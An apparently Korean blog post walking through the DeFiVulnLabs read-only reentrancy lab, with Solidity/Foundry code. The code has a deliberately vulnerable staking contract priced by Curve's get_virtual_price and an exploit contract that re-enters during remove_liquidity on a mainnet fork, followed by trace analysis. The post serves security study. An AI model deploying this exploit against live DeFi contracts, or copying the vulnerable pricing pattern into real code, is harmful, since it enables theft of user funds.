새소식

인기 검색어

Web3/BlockChain

[BlockChain] DeFiVulnLabs - ReadOnlyReentrancy

  • -
반응형

ReadOnlyReentrancy

Source Code

// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;

import "forge-std/Test.sol";
import "./interface.sol";

// Video Reference - https://www.youtube.com/watch?v=0fgGTRlsDxI
// forge test --contracts ./src/test/ReadOnlyReentrancy.sol -vv

interface ICurve {
  function get_virtual_price() external view returns (uint);

  function add_liquidity(uint[2] calldata amounts, uint min_mint_amount)
    external
    payable
    returns (uint);

  function remove_liquidity(uint lp, uint[2] calldata min_amounts)
    external
    returns (uint[2] memory);

  function remove_liquidity_one_coin(
    uint lp,
    int128 i,
    uint min_amount
  ) external returns (uint);
}

address constant STETH_POOL = 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022;
address constant LP_TOKEN = 0x06325440D014e39736583c165C2963BA99fAf14E; //steCRV Token

// VulnContract 
// users stake LP_TOKEN 
// getReward rewards the users based on the current price of the pool LP token
contract VulnContract {
  IERC20 public constant token = IERC20(LP_TOKEN);
  ICurve private constant pool = ICurve(STETH_POOL);

  mapping(address => uint) public balanceOf;

  function stake(uint amount) external {
    token.transferFrom(msg.sender, address(this), amount);
    balanceOf[msg.sender] += amount;
  }

  function unstake(uint amount) external {
    balanceOf[msg.sender] -= amount;
    token.transfer(msg.sender, amount);
  }

  function getReward() external returns (uint) {
    //rewarding tokens based on the current virtual price of the pool LP token
    uint reward = (balanceOf[msg.sender] * pool.get_virtual_price()) / 1 ether;
    // Omitting code to transfer reward tokens
    return reward;
  }
}

contract ExploitContract {
  ICurve private constant pool = ICurve(STETH_POOL);
  IERC20 public constant lpToken = IERC20(LP_TOKEN);
  VulnContract private immutable target;

  constructor(address _target) {
    target = VulnContract(_target);
  }

  receive() external payable { // receive() is called when the remove_liquidity is called
    console.log("--------------------------------------------------------------------");
    console.log("LP token price during remove_liquidity()", pool.get_virtual_price());
    // Attack - Log reward amount
    uint reward = target.getReward();
    console.log("Reward if Read-Only Reentrancy is invoked: ", reward);
  }

  // Stake LP into VulnContract
  function stakeTokens() external payable {
    uint[2] memory amounts = [msg.value, 0];
    uint lp = pool.add_liquidity{value: msg.value}(amounts, 1);
    console.log("LP token price after staking into VulnContract", pool.get_virtual_price());

    lpToken.approve(address(target), lp);
    target.stake(lp);
  }

  // Perform Read-Only Reentrancy
  // 원래 performReadOnlyReentrnacy 라고 되어있는데 불편해서 오타 수정함
  function performReadOnlyReentrancy() external payable {
    // Add liquidity to Curve
    uint[2] memory amounts = [msg.value, 0];
    uint lp = pool.add_liquidity{value: msg.value}(amounts, 1);
    // Log get_virtual_price
    console.log("LP token price before remove_liquidity()", pool.get_virtual_price());
    // Remove liquidity from Curve
    // remove_liquidity() invokes the recieve() callback 
    uint[2] memory min_amounts = [uint(0), uint(0)];
    pool.remove_liquidity(lp, min_amounts);
    // Log get_virtual_price
    console.log("--------------------------------------------------------------------");
    console.log("LP token price after remove_liquidity()", pool.get_virtual_price());

    // Attack - Log reward amount
    uint reward = target.getReward();
    console.log("Reward if Read-Only Reentrancy is not invoked: ", reward);
  }
}

contract ExploitTest is Test {
    ExploitContract public hack;
    VulnContract public target;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet");
        target = new VulnContract(); // deploy the vulnerable contract
        hack = new ExploitContract(address(target)); // deploy attacker contract
    }

    function testPwn() public {
        hack.stakeTokens{value: 10 ether}(); // stake 10 eth in VulnContract
        hack.performReadOnlyReentrancy{value: 100000 ether}();
    }
}

코드 test 결과이다. 

LP token의 가격이 Reentrancy를 진입했을 때와 안 했을 때의 차이를 나타내고 있다.

Trace를 분석해야 하는데 너무 많아서 핵심만 가져 왔다.

pool address: 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022

performReadOnlyReentrancy() 함수를 실행시키면 add_liqudity()로 유동성을 추가한다.

pool의 현재 잔액은 520,882,342,163,258,726,300,438 ether이다.

add_liqudity() 결과 lp = 93940900950573308959711(0x13e48be3ce526593dbdf)이다.

get_virtual_price() 함수는 현재 pool에 대한 LP token가격이다.

get_virtual_price의 계산은 D * 1e18 * token_supply로 이루어져 있는 데 totalSupply()와 관련이 있는 것 같다.

LP 토큰의 totalSupply는 현재 1,021,068,987,362,603,817,841,384(0xd83842be66efebc132e8) 개다.

그래서 LP token의 가격은 1,064,408,552,508,872,012(0xec589f0642dd54c) 이다.

remove_liquidity() 함수에서 유동성을 제거하는 데 if문에서 reentrancy가 발생한다.

i == 0이면 msg.sender로 다시 call을 한다.

이 부분에서 totalSupply가 감소하는 데 그러면 get_virtua_price()가 올라간다.

그러면 reward가 현재 시세보다 많이 받게 된다.

reentrancy를 통해 얻은 reward는 10,495,484,923,582,515,550이다.

totalSupply의 감소로 reentrancy보다 적은 값을 받았다. 10,009,265,312,277,005,641이다.

이러한 flow로 취약점이 발생한다.

Vulnerability

exploit

receive() external payable { // receive() is called when the remove_liquidity is called
    console.log("--------------------------------------------------------------------");
    console.log("LP token price during remove_liquidity()", pool.get_virtual_price());
    // Attack - Log reward amount
    uint reward = target.getReward();
    console.log("Reward if Read-Only Reentrancy is invoked: ", reward);
}
  
// Perform Read-Only Reentrancy
function performReadOnlyReentrnacy() external payable {
    // Add liquidity to Curve
    uint[2] memory amounts = [msg.value, 0];
    uint lp = pool.add_liquidity{value: msg.value}(amounts, 1);
    // Log get_virtual_price
    console.log("LP token price before remove_liquidity()", pool.get_virtual_price());
    // Remove liquidity from Curve
    // remove_liquidity() invokes the recieve() callback 
    uint[2] memory min_amounts = [uint(0), uint(0)];
    pool.remove_liquidity(lp, min_amounts);
    // Log get_virtual_price
    console.log("--------------------------------------------------------------------");
    console.log("LP token price after remove_liquidity()", pool.get_virtual_price());

    // Attack - Log reward amount
    uint reward = target.getReward();
    console.log("Reward if Read-Only Reentrancy is not invoked: ", reward);
    }
}

취약점을 도식화하면 다음 그림과 같다.

반응형
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.